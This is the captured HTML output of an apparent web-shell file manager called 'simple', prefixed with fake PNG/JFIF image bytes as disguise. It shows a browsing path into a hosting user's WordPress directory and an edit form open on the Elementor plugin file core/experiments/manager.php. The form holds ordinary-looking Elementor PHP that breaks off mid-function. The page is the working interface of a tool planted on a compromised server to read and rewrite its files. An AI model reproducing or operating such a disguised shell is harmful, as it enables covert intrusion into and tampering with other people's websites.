�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fusr%2F'>usr</a>/<a href='?path=%2Fusr%2Fwww%2F'>www</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2F'>users</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2F'>svninyjgba</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2Fwp-content%2F'>wp-content</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2Fwp-content%2Fplugins%2F'>plugins</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2Fwp-content%2Fplugins%2Felementor%2F'>elementor</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2Fwp-content%2Fplugins%2Felementor%2Fcore%2F'>core</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2Fwp-content%2Fplugins%2Felementor%2Fcore%2Fexperiments%2F'>experiments</a>/</p><hr><h3>✏️ Editing: manager.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php
namespace Elementor\Core\Experiments;

use Elementor\Core\Base\Base_Object;
use Elementor\Core\Experiments\Exceptions\Dependency_Exception;
use Elementor\Core\Upgrade\Manager as Upgrade_Manager;
use Elementor\Core\Utils\Collection;
use Elementor\Modules\System_Info\Module as System_Info;
use Elementor\Plugin;
use Elementor\Settings;
use Elementor\Tracker;
use Elementor\Utils;

if ( ! defined( &#039;ABSPATH&#039; ) ) {
	exit; // Exit if accessed directly.
}

class Manager extends Base_Object {

	const RELEASE_STATUS_DEV = &#039;dev&#039;;

	const RELEASE_STATUS_ALPHA = &#039;alpha&#039;;

	const RELEASE_STATUS_BETA = &#039;beta&#039;;

	const RELEASE_STATUS_STABLE = &#039;stable&#039;;

	const STATE_DEFAULT = &#039;default&#039;;

	const STATE_ACTIVE = &#039;active&#039;;

	const STATE_INACTIVE = &#039;inactive&#039;;

	const TYPE_HIDDEN = &#039;hidden&#039;;

	const OPTION_PREFIX = &#039;elementor_experiment-&#039;;

	private $states;

	private $release_statuses;

	private $features;

	/**
	 * Add Feature
	 *
	 * Each feature has to provide the following information:
	 *     [
	 *         &#039;name&#039; =&gt; string,
	 *         &#039;title&#039; =&gt; string,
	 *         &#039;description&#039; =&gt; string,
	 *         &#039;tag&#039; =&gt; string,
	 *         &#039;release_status&#039; =&gt; string,
	 *         &#039;default&#039; =&gt; string,
	 *         &#039;new_site&#039; =&gt; array,
	 *     ]
	 *
	 * @since 3.1.0
	 * @access public
	 *
	 * @param array $options Feature options.
	 * @return array|null
	 *
	 * @throws Dependency_Exception If can&#039;t change feature state.
	 */
	public function add_feature( array $options ) {
		if ( isset( $this-&gt;features[ $options[&#039;name&#039;] ] ) ) {
			return null;
		}

		$experimental_data = $this-&gt;set_feature_initial_options( $options );

		$new_site = $experimental_data[&#039;new_site&#039;];

		if ( $new_site[&#039;default_active&#039;] || $new_site[&#039;always_active&#039;] || $new_site[&#039;default_inactive&#039;] ) {
			$experimental_data = $this-&gt;set_new_site_default_state( $new_site, $experimental_data );
		}

		if ( $experimental_data[&#039;mutable&#039;] ) {
			$experimental_data[&#039;state&#039;] = $this-&gt;get_saved_feature_state( $options[&#039;name&#039;] );
		}

		if ( empty( $experimental_data[&#039;state&#039;] ) ) {
			$experimental_data[&#039;state&#039;] = self::STATE_DEFAULT;
		}

		if ( ! empty( $experimental_data[&#039;dependencies&#039;] ) ) {
			$experimental_data = $this-&gt;initialize_feature_dependencies( $experimental_data );
		}

		$this-&gt;features[ $options[&#039;name&#039;] ] = $experimental_data;

		if ( $experimental_data[&#039;mutable&#039;] &amp;&amp; is_admin() ) {
			$feature_option_key = $this-&gt;get_feature_option_key( $options[&#039;name&#039;] );

			$on_state_change_callback = function( $old_state, $new_state ) use ( $experimental_data, $feature_option_key ) {
				try {
					$this-&gt;on_feature_state_change( $experimental_data, $new_state, $old_state );
				} catch ( Exceptions\Dependency_Exception $e ) {
					$message = sprintf(
						&#039;&lt;p&gt;%s&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;#&quot; onclick=&quot;location.href=\&#039;%s\&#039;&quot;&gt;%s&lt;/a&gt;&lt;/p&gt;&#039;,
						esc_html( $e-&gt;getMessage() ),
						Settings::get_settings_tab_url( &#039;experiments&#039; ),
						esc_html__( &#039;Back&#039;, &#039;elementor&#039; )
					);

					wp_die( $message ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
				}
			};

			add_action( &#039;add_option_&#039; . $feature_option_key, $on_state_change_callback, 10, 2 );
			add_action( &#039;update_option_&#039; . $feature_option_key, $on_state_change_callback, 10, 2 );
		}

		do_action( &#039;elementor/experiments/feature-registered&#039;, $this, $experimental_data );

		return $experimental_data;
	}

	private function install_compare( $version ) {
		$installs_history = Upgrade_Manager::get_installs_history();

		if ( empty( $installs_history ) ) {
			// Fresh installation: upgrade manager hasn&#039;t written history yet on this first request.
			// Use the current plugin version as the effective first-install version.
			return version_compare( ELEMENTOR_VERSION, $version, &#039;&gt;=&#039; );
		}

		$cleaned_version = preg_replace( &#039;/-(beta|cloud|dev)\d*$/&#039;, &#039;&#039;, key( $installs_history ) );

		return version_compare(
			$cleaned_version,
			$version,
			&#039;&gt;=&#039;
		);
	}

	/**
	 * Combine &#039;tag&#039; and &#039;tags&#039; into one property.
	 *
	 * @param array $experimental_data
	 *
	 * @return array
	 */
	private function unify_feature_tags( array $experimental_data ): array {
		foreach ( [ &#039;tag&#039;, &#039;tags&#039; ] as $key ) {
			if ( empty( $experimental_data[ $key ] ) ) {
				continue;
			}

			$experimental_data[ $key ] = $this-&gt;format_feature_tags( $experimental_data[ $key ] );
		}

		if ( is_array( $experimental_data[&#039;tag&#039;] ) ) {
			$experimental_data[&#039;tags&#039;] = array_merge( $experimental_data[&#039;tag&#039;], $experimental_data[&#039;tags&#039;] );
		}

		return $experimental_data;
	}

	/**
	 * Format feature tags into the right format.
	 *
	 * If an array of tags provided, each tag has to provide the following information:
	 *     [
	 *         [
	 *             &#039;type&#039; =&gt; string,
	 *             &#039;label&#039; =&gt; string,
	 *         ]
	 *     ]
	 *
	 * @param string|array $tags A string of comma separated tags, or an array of tags.
	 *
	 * @return array
	 */
	private function format_feature_tags( $tags ): array {
		if ( ! is_string( $tags ) &amp;&amp; ! is_array( $tags ) ) {
			return [];
		}

		$default_tag = [
			&#039;type&#039; =&gt; &#039;default&#039;,
			&#039;label&#039; =&gt; &#039;&#039;,
		];

		$allowed_tag_properties = [ &#039;type&#039;, &#039;label&#039; ];

		// If $tags is string, explode by commas and convert to array.
		if ( is_string( $tags ) ) {
			$tags = array_filter( explode( &#039;,&#039;, $tags ) );

			foreach ( $tags as $i =&gt; $tag ) {
				$tags[ $i ] = [ &#039;label&#039; =&gt; trim( $tag ) ];
			}
		}

		foreach ( $tags as $i =&gt; $tag ) {
			if ( empty( $tag[&#039;label&#039;] ) ) {
				unset( $tags[ $i ] );
				continue;
			}

			$tags[ $i ] = $this-&gt;merge_properties( $default_tag, $tag, $allowed_tag_properties );
		}

		return $tags;
	}

	/**
	 * Remove Feature
	 *
	 * @since 3.1.0
	 * @access public
	 *
	 * @param string $feature_name
	 */
	public function remove_feature( $feature_name ) {
		unset( $this-&gt;features[ $feature_name ] );
	}

	/**
	 * Get Features
	 *
	 * @since 3.1.0
	 * @access public
	 *
	 * @param string $feature_name Optional. Default is null.
	 *
	 * @return array|null
	 */
	public function get_features( $feature_name = null ) {
		return self::get_items( $this-&gt;features, $feature_name );
	}

	/**
	 * Get Active Features
	 *
	 * @since 3.1.0
	 * @access public
	 *
	 * @return array
	 */
	public function get_active_features() {
		return array_filter( $this-&gt;features, [ $this, &#039;is_feature_active&#039; ], ARRAY_FILTER_USE_KEY );
	}

	/**
	 * Is Feature Active
	 *
	 * @since 3.1.0
	 * @access public
	 *
	 * @param string $feature_name
	 *
	 * @return bool
	 */
	public function is_feature_active( $feature_name, $check_dependencies = false ) {
		$feature = $this-&gt;get_features( $feature_name );

		if ( ! $feature || self::STATE_ACTIVE !== $this-&gt;get_feature_actual_state( $feature ) ) {
			return false;
		}

		if ( $check_dependencies &amp;&amp; isset( $feature[&#039;dependencies&#039;] ) &amp;&amp; is_array( $feature[&#039;dependencies&#039;] ) ) {
			foreach ( $feature[&#039;dependencies&#039;] as $dependency ) {
				$dependent_feature = $this-&gt;get_features( $dependency-&gt;get_name() );
				$feature_state = self::STATE_ACTIVE === $this-&gt;get_feature_actual_state( $dependent_feature );

				if ( ! $feature_state ) {
					return false;
				}
			}
		}

		return true;
	}

	/**
	 * Set Feature Default State
	 *
	 * @since 3.1.0
	 * @access public
	 *
	 * @param string $feature_name
	 * @param string $default_state
	 */
	public function set_feature_default_state( $feature_name, $default_state ) {
		$feature = $this-&gt;get_features( $feature_name );

		if ( ! $feature ) {
			return;
		}

		$this-&gt;features[ $feature_name ][&#039;default&#039;] = $default_state;
	}

	/**
	 * Get Feature Option Key
	 *
	 * @since 3.1.0
	 * @access public
	 *
	 * @param string $feature_name
	 *
	 * @return string
	 */
	public function get_feature_option_key( $feature_name ) {
		return static::OPTION_PREFIX . $feature_name;
	}

	private function add_default_features() {
		$this-&gt;add_feature( [
			&#039;name&#039; =&gt; &#039;e_font_icon_svg&#039;,
			&#039;title&#039; =&gt; esc_html__( &#039;Inline Font Icons&#039;, &#039;elementor&#039; ),
			&#039;tag&#039; =&gt; esc_html__( &#039;Performance&#039;, &#039;elementor&#039; ),
			&#039;description&#039; =&gt; sprintf(
				&#039;%1$s &lt;a href=&quot;https://go.elementor.com/wp-dash-inline-font-awesome/&quot; target=&quot;_blank&quot;&gt;%2$s&lt;/a&gt;&#039;,
				esc_html__( &#039;The “Inline Font Icons” will render the icons as inline SVG without loading the Font-Awesome and the eicons libraries and its related CSS files and fonts.&#039;, &#039;elementor&#039; ),
				esc_html__( &#039;Learn more&#039;, &#039;elementor&#039; )
			),
			&#039;release_status&#039; =&gt; self::RELEASE_STATUS_STABLE,
			&#039;new_site&#039; =&gt; [
				&#039;default_active&#039; =&gt; true,
				&#039;minimum_installation_version&#039; =&gt; &#039;3.17.0&#039;,
			],
			&#039;generator_tag&#039; =&gt; true,
		] );

		$this-&gt;add_feature( [
			&#039;name&#039; =&gt; &#039;additional_custom_breakpoints&#039;,
			&#039;title&#039; =&gt; esc_html__( &#039;Additional Custom Breakpoints&#039;, &#039;elementor&#039; ),
			&#039;description&#039; =&gt; sprintf(
				&#039;%1$s &lt;a href=&quot;https://go.elementor.com/wp-dash-additional-custom-breakpoints/&quot; target=&quot;_blank&quot;&gt;%2$s&lt;/a&gt;&#039;,
				esc_html__( &#039;Get pixel-perfect design for every screen size. You can now add up to 6 customizable breakpoints beyond the default desktop setting: mobile, mobile extra, tablet, tablet extra, laptop, and widescreen.&#039;, &#039;elementor&#039; ),
				esc_html__( &#039;Learn more&#039;, &#039;elementor&#039; )
			),
			&#039;release_status&#039; =&gt; self::RELEASE_STATUS_STABLE,
			&#039;default&#039; =&gt; self::STATE_ACTIVE,
			&#039;generator_tag&#039; =&gt; true,
		] );

		$this-&gt;add_feature( [
			&#039;name&#039; =&gt; &#039;container&#039;,
			&#039;title&#039; =&gt; esc_html__( &#039;Container&#039;, &#039;elementor&#039; ),
			&#039;description&#039; =&gt; sprintf(
				/* translators: 1: Link opening tag, 2: Link closing tag, 3: Link opening tag, 4: Link closing tag, 5: Link opening tag, 6: Link closing tag */
				esc_html__( &#039;Create advanced layouts and responsive designs with %1$sFlexbox%2$s and %3$sGrid%4$s container elements. Give it a try using the %5$sContainer playground%6$s.&#039;, &#039;elementor&#039; ),
				&#039;&lt;a target=&quot;_blank&quot; href=&quot;https://go.elementor.com/wp-dash-flex-container/&quot;&gt;&#039;,
				&#039;&lt;/a&gt;&#039;,
				&#039;&lt;a target=&quot;_blank&quot; href=&quot;https://go.elementor.com/wp-dash-grid-container/&quot;&gt;&#039;,
				&#039;&lt;/a&gt;&#039;,
				&#039;&lt;a target=&quot;_blank&quot; href=&quot;https://go.elementor.com/wp-dash-flex-container-playground/&quot;&gt;&#039;,
				&#039;&lt;/a&gt;&#039;
			),
			&#039;release_status&#039; =&gt; self::RELEASE_STATUS_STABLE,
			&#039;default&#039; =&gt; self::STATE_INACTIVE,
			&#039;new_site&#039; =&gt; [
				&#039;default_active&#039; =&gt; true,
				&#039;minimum_installation_version&#039; =&gt; &#039;3.16.0&#039;,
			],
			&#039;messages&#039; =&gt; [
				&#039;on_deactivate&#039; =&gt; sprintf(
					&#039;%1$s &lt;a target=&quot;_blank&quot; href=&quot;https://go.elementor.com/wp-dash-deactivate-container/&quot;&gt;%2$s&lt;/a&gt;&#039;,
					esc_html__( &#039;Container-based content will be hidden from your site and may not be recoverable in all cases.&#039;, &#039;elementor&#039; ),
					esc_html__( &#039;Learn more&#039;, &#039;elementor&#039; ),
				),
			],
		] );

		$this-&gt;add_feature( [
			&#039;name&#039; =&gt; &#039;e_optimized_markup&#039;,
			&#039;title&#039; =&gt; esc_html__( &#039;Optimized Markup&#039;, &#039;elementor&#039; ),
			&#039;tag&#039; =&gt; esc_html__( &#039;Performance&#039;, &#039;elementor&#039; ),
			&#039;description&#039; =&gt; esc_html__( &#039;Reduce the DOM size by eliminating HTML tags in various elements and widgets. This experiment includes markup changes so it might require updating custom CSS/JS code and cause compatibility issues with third party plugins.&#039;, &#039;elementor&#039; ),
			&#039;release_status&#039; =&gt; self::RELEASE_STATUS_STABLE,
			&#039;default&#039; =&gt; self::STATE_INACTIVE,
			&#039;new_site&#039; =&gt; [
				&#039;default_active&#039; =&gt; true,
				&#039;minimum_installation_version&#039; =&gt; &#039;3.30.0&#039;,
			],
		] );

		$this-&gt;add_feature( [
			&#039;name&#039; =&gt; &#039;e_panel_promotions&#039;,
			&#039;title&#039; =&gt; esc_html__( &#039;Panel Promotions&#039;, &#039;elementor&#039; ),
			&#039;description&#039; =&gt; esc_html__( &#039;Enable experimental rendering for targeted promotions within the elements panels.&#039;, &#039;elementor&#039; ),
			&#039;release_status&#039; =&gt; self::RELEASE_STATUS_DEV,
			&#039;default&#039; =&gt; self::STATE_ACTIVE,
			&#039;type&#039; =&gt; self::TYPE_HIDDEN,
		] );
	}

	/**
	 * Init States
	 *
	 * @since 3.1.0
	 * @access private
	 */
	private function init_states() {
		$this-&gt;states = [
			self::STATE_DEFAULT =&gt; esc_html__( &#039;Default&#039;, &#039;elementor&#039; ),
			self::STATE_ACTIVE =&gt; esc_html__( &#039;Active&#039;, &#039;elementor&#039; ),
			self::STATE_INACTIVE =&gt; esc_html__( &#039;Inactive&#039;, &#039;elementor&#039; ),
		];
	}

	/**
	 * Init Statuses
	 *
	 * @since 3.1.0
	 * @access private
	 */
	private function init_release_statuses() {
		$this-&gt;release_statuses = [
			self::RELEASE_STATUS_DEV =&gt; esc_html__( &#039;Development&#039;, &#039;elementor&#039; ),
			self::RELEASE_STATUS_ALPHA =&gt; esc_html__( &#039;Alpha&#039;, &#039;elementor&#039; ),
			self::RELEASE_STATUS_BETA =&gt; esc_html__( &#039;Beta&#039;, &#039;elementor&#039; ),
			self::RELEASE_STATUS_STABLE =&gt; esc_html__( &#039;Stable&#039;, &#039;elementor&#039; ),
		];
	}

	/**
	 * Init Features
	 *
	 * @since 3.1.0
	 * @access private
	 */
	private function init_features() {
		$this-&gt;features = [];

		$this-&gt;add_default_features();

		do_action( &#039;elementor/experiments/default-features-registered&#039;, $this );
	}

	/**
	 * Register Settings Fields
	 *
	 * @param Settings $settings
	 *
	 * @since 3.1.0
	 * @access private
	 */
	private function register_settings_fields( Settings $settings ) {
		$features = $this-&gt;get_features();

		$fields = [];

		foreach ( $features as $feature_name =&gt; $feature ) {
			$is_hidden = $feature[ static::TYPE_HIDDEN ];
			$is_mutable = $feature[&#039;mutable&#039;];
			$should_hide_experiment = ! $is_mutable || ( $is_hidden &amp;&amp; ! $this-&gt;should_show_hidden() ) || $this-&gt;has_non_existing_dependency( $feature );

			if ( $should_hide_experiment ) {
				unset( $features[ $feature_name ] );

				continue;
			}

			$feature_key = &#039;experiment-&#039; . $feature_name;

			$section = &#039;stable&#039; === $feature[&#039;release_status&#039;] ? &#039;stable&#039; : &#039;ongoing&#039;;

			$fields[ $section ][ $feature_key ][&#039;label&#039;] = $this-&gt;get_feature_settings_label_html( $feature );

			$fields[ $section ][ $feature_key ][&#039;field_args&#039;] = $feature;

			$fields[ $section ][ $feature_key ][&#039;render&#039;] = function( $feature ) {
				$this-&gt;render_feature_settings_field( $feature );
			};
		}

		foreach ( [ &#039;stable&#039;, &#039;ongoing&#039; ] as $section ) {
			if ( ! isset( $fields[ $section ] ) ) {
				$fields[ $section ][&#039;no_features&#039;] = [
					&#039;label&#039; =&gt; esc_html__( &#039;No available experiments&#039;, &#039;elementor&#039; ),
					&#039;field_args&#039; =&gt; [
						&#039;type&#039; =&gt; &#039;raw_html&#039;,
						&#039;html&#039; =&gt; esc_html__( &#039;The current version of Elementor doesn\&#039;t have any experimental features . if you\&#039;re feeling curious make sure to come back in future versions.&#039;, &#039;elementor&#039; ),
					],
				];
			}

			if ( ! Tracker::is_allow_track() &amp;&amp; &#039;stable&#039; === $section ) {
				$fields[ $section ] += $settings-&gt;get_usage_fields();
			}
		}

		$settings-&gt;add_tab(
			&#039;experiments&#039;, [
				&#039;label&#039; =&gt; esc_html__( &#039;Features&#039;, &#039;elementor&#039; ),
				&#039;sections&#039; =&gt; [
					&#039;ongoing_experiments&#039; =&gt; [
						&#039;callback&#039; =&gt; function() {
							$this-&gt;render_settings_intro();
						},
						&#039;fields&#039; =&gt; $fields[&#039;ongoing&#039;],
					],
					&#039;stable_experiments&#039; =&gt; [
						&#039;callback&#039; =&gt; function() {
							$this-&gt;render_stable_section_title();
						},
						&#039;fields&#039; =&gt; $fields[&#039;stable&#039;],
					],
				],
			]
		);
	}

	private function render_stable_section_title() {
		?&gt;
		&lt;hr&gt;
		&lt;h2&gt;
			&lt;?php echo esc_html__( &#039;Stable Features&#039;, &#039;elementor&#039; ); ?&gt;
		&lt;/h2&gt;
		&lt;?php
	}

	/**
	 * Render Settings Intro
	 *
	 * @since 3.1.0
	 * @access private
	 */
	private function render_settings_intro() {
		?&gt;
		&lt;h2&gt;
			&lt;?php echo esc_html__( &#039;Experiments and Features&#039;, &#039;elementor&#039; ); ?&gt;
		&lt;/h2&gt;
		&lt;p class=&quot;e-experiment__description&quot;&gt;
			&lt;?php
			printf(
				/* translators: %1$s Link open tag, %2$s: Link close tag. */
				esc_html__( &#039;Personalize your Elementor experience by controlling which features and experiments are active on your site. Help make Elementor better by %1$ssharing your experience and feedback with us%2$s.&#039;, &#039;elementor&#039; ),
				&#039;&lt;a href=&quot;https://go.elementor.com/wp-dash-experiments-report-an-issue/&quot; target=&quot;_blank&quot;&gt;&#039;,
				&#039;&lt;/a&gt;&#039;
			);
			?&gt;
		&lt;/p&gt;
		&lt;p class=&quot;e-experiment__description&quot;&gt;
			&lt;?php
			printf(
				&#039;%1$s &lt;a href=&quot;https://go.elementor.com/wp-dash-experiments/&quot; target=&quot;_blank&quot;&gt;%2$s&lt;/a&gt;&#039;,
				esc_html__( &#039;To use an experiment or feature on your site, simply click on the dropdown next to it and switch to Active. You can always deactivate them at any time.&#039;, &#039;elementor&#039; ),
				esc_html__( &#039;Learn more&#039;, &#039;elementor&#039; ),
			);
			?&gt;
		&lt;/p&gt;

		&lt;?php if ( $this-&gt;get_features() ) { ?&gt;
			&lt;button type=&quot;button&quot; class=&quot;button e-experiment__button&quot; value=&quot;active&quot;&gt;&lt;?php echo esc_html__( &#039;Activate All&#039;, &#039;elementor&#039; ); ?&gt;&lt;/button&gt;
			&lt;button type=&quot;button&quot; class=&quot;button e-experiment__button&quot; value=&quot;inactive&quot;&gt;&lt;?php echo esc_html__( &#039;Deactivate All&#039;, &#039;elementor&#039; ); ?&gt;&lt;/button&gt;
			&lt;button type=&quot;button&quot; class=&quot;button e-experiment__button&quot; value=&quot;default&quot;&gt;&lt;?php echo esc_html__( &#039;Back to default&#039;, &#039;elementor&#039; ); ?&gt;&lt;/button&gt;
		&lt;?php } ?&gt;
		&lt;hr&gt;
		&lt;h2 class=&quot;e-experiment__table-title&quot;&gt;
			&lt;?php echo esc_html__( &#039;Ongoing Experiments&#039;, &#039;elementor&#039; ); ?&gt;
		&lt;/h2&gt;
		&lt;?php
	}

	/**
	 * Render Feature Settings Field
	 *
	 * @since 3.1.0
	 * @access private
	 *
	 * @param array $feature
	 */
	private function render_feature_settings_field( array $feature ) {
		$control_id = &#039;e-experiment-&#039; . $feature[&#039;name&#039;];
		$control_name = $this-&gt;get_feature_option_key( $feature[&#039;name&#039;] );

		$status = sprintf(
			/* translators: %s Release status. */
			esc_html__( &#039;Status: %s&#039;, &#039;elementor&#039; ),
			$this-&gt;release_statuses[ $feature[&#039;release_status&#039;] ]
		);

		?&gt;
		&lt;div class=&quot;e-experiment__content&quot;&gt;
			&lt;select class=&quot;e-experiment__select&quot;
				id=&quot;&lt;?php echo esc_attr( $control_id ); ?&gt;&quot;
				name=&quot;&lt;?php echo esc_attr( $control_name ); ?&gt;&quot;
				data-experiment-id=&quot;&lt;?php echo esc_attr( $feature[&#039;name&#039;] ); ?&gt;&quot;
			&gt;
				&lt;?php foreach ( $this-&gt;states as $state_key =&gt; $state_title ) { ?&gt;
					&lt;option value=&quot;&lt;?php echo esc_attr( $state_key ); ?&gt;&quot;
						&lt;?php selected( $state_key, $feature[&#039;state&#039;] ); ?&gt;
					&gt;
						&lt;?php echo esc_html( $state_title ); ?&gt;
					&lt;/option&gt;
				&lt;?php } ?&gt;
			&lt;/select&gt;

			&lt;p class=&quot;description&quot;&gt;
				&lt;?php Utils::print_unescaped_internal_string( $feature[&#039;description&#039;] ); ?&gt;
			&lt;/p&gt;

			&lt;?php $this-&gt;render_feature_dependency( $feature ); ?&gt;

			&lt;?php if ( &#039;stable&#039; !== $feature[&#039;release_status&#039;] ) { ?&gt;
				&lt;div class=&quot;e-experiment__status&quot;&gt;
					&lt;?php echo esc_html( $status ); ?&gt;
				&lt;/div&gt;
			&lt;?php } ?&gt;
		&lt;/div&gt;
		&lt;?php
	}

	private function render_feature_dependency( $feature ) {
		$dependencies = ( new Collection( $feature[&#039;dependencies&#039;] ?? [] ) )
			-&gt;map( function ( $dependency ) {
				return $dependency-&gt;get_title();
			} )
			-&gt;implode( &#039;, &#039; );

		if ( empty( $dependencies ) ) {
			return;
		}

		?&gt;
			&lt;div class=&quot;e-experiment__dependency&quot;&gt;
				&lt;strong class=&quot;e-experiment__dependency__title&quot;&gt;&lt;?php echo esc_html__( &#039;Requires&#039;, &#039;elementor&#039; ); ?&gt;:&lt;/strong&gt;
				&lt;span&gt;&lt;?php echo esc_html( $dependencies ); ?&gt;&lt;/span&gt;
			&lt;/div&gt;
		&lt;?php
	}

	private function has_non_existing_dependency( $feature ) {
		$non_existing_dep = ( new Collection( $feature[&#039;dependencies&#039;] ?? [] ) )
			-&gt;find( function ( $dependency ) {
				return $dependency instanceof Non_Existing_Dependency;
			} );

		return (bool) $non_existing_dep;
	}

	/**
	 * Get Feature Settings Label HTML.
	 *
	 * @since 3.1.0
	 * @access private
	 *
	 * @param array $feature
	 *
	 * @return string
	 */
	private function get_feature_settings_label_html( array $feature ) {
		ob_start();

		$is_feature_active = $this-&gt;is_feature_active( $feature[&#039;name&#039;] );

		$indicator_classes = &#039;e-experiment__title__indicator&#039;;

		if ( $is_feature_active ) {
			$indicator_classes .= &#039; e-experiment__title__indicator--active&#039;;
		}

		$indicator_tooltip = $this-&gt;get_feature_state_label( $feature );

		?&gt;
		&lt;div class=&quot;e-experiment__title&quot;&gt;
			&lt;div class=&quot;&lt;?php echo $indicator_classes; ?&gt;&quot; data-tooltip=&quot;&lt;?php echo $indicator_tooltip; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?&gt;&quot;&gt;&lt;/div&gt;
			&lt;label class=&quot;e-experiment__title__label&quot; for=&quot;e-experiment-&lt;?php echo $feature[&#039;name&#039;]; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?&gt;&quot;&gt;&lt;?php echo $feature[&#039;title&#039;]; ?&gt;&lt;/label&gt;
			&lt;?php foreach ( $feature[&#039;tags&#039;] as $tag ) { ?&gt;
				&lt;?php
				$tag_classes = &#039;e-experiment__title__tag e-experiment__title__tag__&#039; . $tag[&#039;type&#039;] . &#039; e-editor-one&#039;;
				?&gt;
				&lt;span class=&quot;&lt;?php echo esc_attr( $tag_classes ); ?&gt;&quot;&gt;&lt;?php echo $tag[&#039;label&#039;]; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?&gt;&lt;/span&gt;
			&lt;?php } ?&gt;
			&lt;?php if ( $feature[&#039;deprecated&#039;] ) { ?&gt;
				&lt;span class=&quot;e-experiment__title__tag e-experiment__title__tag__deprecated&quot;&gt;&lt;?php echo esc_html__( &#039;Deprecated&#039;, &#039;elementor&#039; ); ?&gt;&lt;/span&gt;
			&lt;?php } ?&gt;
		&lt;/div&gt;
		&lt;?php

		return ob_get_clean();
	}

	/**
	 * Get Feature State Label
	 *
	 * @param array $feature
	 *
	 * @return string
	 */
	public function get_feature_state_label( array $feature ) {
		$is_feature_active = $this-&gt;is_feature_active( $feature[&#039;name&#039;] );

		if ( self::STATE_DEFAULT === $feature[&#039;state&#039;] ) {
			$label = $is_feature_active ? esc_html__( &#039;Active by default&#039;, &#039;elementor&#039; ) :
				esc_html__( &#039;Inactive by default&#039;, &#039;elementor&#039; );
		} else {
			$label = self::STATE_ACTIVE === $feature[&#039;state&#039;] ? esc_html__( &#039;Active&#039;, &#039;elementor&#039; ) :
				esc_html__( &#039;Inactive&#039;, &#039;elementor&#039; );
		}

		return $label;
	}

	/**
	 * Get Feature Settings Label HTML
	 *
	 * @since 3.1.0
	 * @access private
	 *
	 * @param string $feature_name
	 *
	 * @return int
	 */
	private function get_saved_feature_state( $feature_name ) {
		return get_option( $this-&gt;get_feature_option_key( $feature_name ) );
	}

	/**
	 * Get Feature Actual State
	 *
	 * @since 3.1.0
	 * @access private
	 *
	 * @param array $feature
	 *
	 * @return string
	 */
	private function get_feature_actual_state( array $feature ) {
		if ( ! empty( $feature[&#039;state&#039;] ) &amp;&amp; self::STATE_DEFAULT !== $feature[&#039;state&#039;] ) {
			return $feature[&#039;state&#039;];
		}

		return $feature[&#039;default&#039;];
	}

	/**
	 * On Feature State Change
	 *
	 * @since 3.1.0
	 * @access private
	 *
	 * @param array  $old_feature_data
	 * @param string $new_state
	 * @param string $old_state
	 */
	private function on_feature_state_change( array $old_feature_data, $new_state, $old_state ) {
		$new_feature_data = $this-&gt;get_features( $old_feature_data[&#039;name&#039;] );
		$this-&gt;validate_dependency( $new_feature_data, $new_state );
		$this-&gt;features[ $old_feature_data[&#039;name&#039;] ][&#039;state&#039;] = $new_state;
		if ( $old_state === $new_state ) {
			return;
		}

		Plugin::$instance-&gt;files_manager-&gt;clear_cache();
		if ( $new_feature_data[&#039;on_state_change&#039;] ) {
			$new_feature_data[&#039;on_state_change&#039;]( $old_state, $new_state );
		}

		do_action( &#039;elementor/experiments/feature-state-change/&#039; . $old_feature_data[&#039;name&#039;], $old_state, $new_state );
	}

	/**
	 * @throws Exceptions\Dependency_Exception If the feature dependency is not available or not active.
	 */
	private function validate_dependency( array $feature, $new_state ) {
		$rollback = function ( $feature_option_key, $state ) {
			remove_all_actions( &#039;add_option_&#039; . $feature_option_key );
			remove_all_actions( &#039;update_option_&#039; . $feature_option_key );

			update_option( $feature_option_key, $state );
		};

		if ( self::STATE_DEFAULT === $new_state ) {
			$new_state = $this-&gt;get_feature_actual_state( $feature );
		}

		$feature_option_key = $this-&gt;get_feature_option_key( $feature[&#039;name&#039;] );

		if ( self::STATE_ACTIVE === $new_state ) {
			if ( empty( $feature[&#039;dependencies&#039;] ) ) {
				return;
			}

			// Validate if the current feature dependency is available.
			foreach ( $feature[&#039;dependencies&#039;] as $dependency ) {
				$dependency_feature = $this-&gt;get_features( $dependency-&gt;get_name() );

				if ( ! $dependency_feature ) {
					$rollback( $feature_option_key, self::STATE_INACTIVE );

					throw new Exceptions\Dependency_Exception(
						sprintf(
							&#039;The feature `%s` has a dependency `%s` that is not available.&#039;,
							esc_html( $feature[&#039;name&#039;] ),
							esc_html( $dependency-&gt;get_name() )
						)
					);
				}

				$dependency_state = $this-&gt;get_feature_actual_state( $dependency_feature );

				// If dependency is not active.
				if ( self::STATE_INACTIVE === $dependency_state ) {
					$rollback( $feature_option_key, self::STATE_INACTIVE );

					throw new Exceptions\Dependency_Exception(
						sprintf(
							&#039;To turn on `%1$s`, Experiment: `%2$s` activity is required!&#039;,
							esc_html( $feature[&#039;name&#039;] ),
							esc_html( $dependency_feature[&#039;name&#039;] )
						)
					);
				}
			}
		} elseif ( self::STATE_INACTIVE === $new_state ) {
			// Make sure to deactivate a dependant experiment of the current feature when it&#039;s deactivated.
			foreach ( $this-&gt;get_features() as $current_feature ) {
				if ( empty( $current_feature[&#039;dependencies&#039;] ) ) {
					continue;
				}

				$current_feature_state = $this-&gt;get_feature_actual_state( $current_feature );

				foreach ( $current_feature[&#039;dependencies&#039;] as $dependency ) {
